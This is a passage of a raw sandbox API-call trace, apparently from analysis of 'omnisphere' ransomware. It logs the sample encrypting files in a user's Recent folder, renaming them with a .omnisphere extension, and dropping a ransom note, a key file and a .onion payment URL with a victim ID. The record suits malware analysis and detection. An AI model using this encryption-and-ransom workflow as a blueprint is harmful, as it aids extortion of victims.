[0118.918] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.919] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.919] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0118.919] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x440, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.919] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.919] GetProcessHeap () returned 0x1600000 [0118.919] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16af5a8 [0118.919] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2jzdv25mk2ss.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2jzdv25mk2ss.lnk.omnisphere")) returned 1 [0118.920] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk.omnisphere.id" [0118.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\2jzdv25mk2ss.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.920] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.921] CloseHandle (hObject=0x3c0) returned 1 [0118.922] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.922] CloseHandle (hObject=0x288) returned 1 [0118.922] SetEndOfFile (hFile=0x28c) returned 1 [0118.922] FlushFileBuffers (hFile=0x28c) returned 1 [0118.925] CloseHandle (hObject=0x28c) returned 1 [0118.925] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2jZdV25MK2Ss.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.926] GetProcessHeap () returned 0x1600000 [0118.926] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16af868 [0118.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.926] GetProcessHeap () returned 0x1600000 [0118.926] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693d78 [0118.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693d78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.926] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.926] GetProcessHeap () returned 0x1600000 [0118.926] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686f88 [0118.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686f88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.926] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.926] GetProcessHeap () returned 0x1600000 [0118.926] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a23c0 [0118.926] PathCombineW (in: pszDest=0x16a23c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.926] GetProcessHeap () returned 0x1600000 [0118.926] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16aa238 [0118.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.926] WriteFile (in: hFile=0x28c, lpBuffer=0x16aa238*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16aa238*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.926] CloseHandle (hObject=0x28c) returned 1 [0118.927] GetProcessHeap () returned 0x1600000 [0118.927] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16af868 | out: hHeap=0x1600000) returned 1 [0118.927] GetProcessHeap () returned 0x1600000 [0118.927] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e788 [0118.927] PathCombineW (in: pszDest=0x162e788, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.927] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.927] CloseHandle (hObject=0x28c) returned 1 [0118.927] GetProcessHeap () returned 0x1600000 [0118.927] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e788 | out: hHeap=0x1600000) returned 1 [0118.927] GetProcessHeap () returned 0x1600000 [0118.927] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.927] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2172d449, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2172d449, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2172d449, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="388f.lnk", cAlternateFileName="")) returned 1 [0118.927] GetProcessHeap () returned 0x1600000 [0118.927] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165e0e8 [0118.927] PathCombineW (in: pszDest=0x165e0e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="388f.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk" [0118.927] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\388f.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.928] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1037) returned 1 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.928] GetTickCount () returned 0x115db87 [0118.929] GetTickCount () returned 0x115db87 [0118.929] GetTickCount () returned 0x115db87 [0118.929] GetTickCount () returned 0x115db87 [0118.929] GetTickCount () returned 0x115db87 [0118.929] GetTickCount () returned 0x115db87 [0118.929] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0118.929] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0118.929] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.929] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.929] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0118.929] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40d, lpName=0x0) returned 0x288 [0118.929] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40d) returned 0x1480000 [0118.930] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0118.930] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0118.930] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.930] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.931] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, 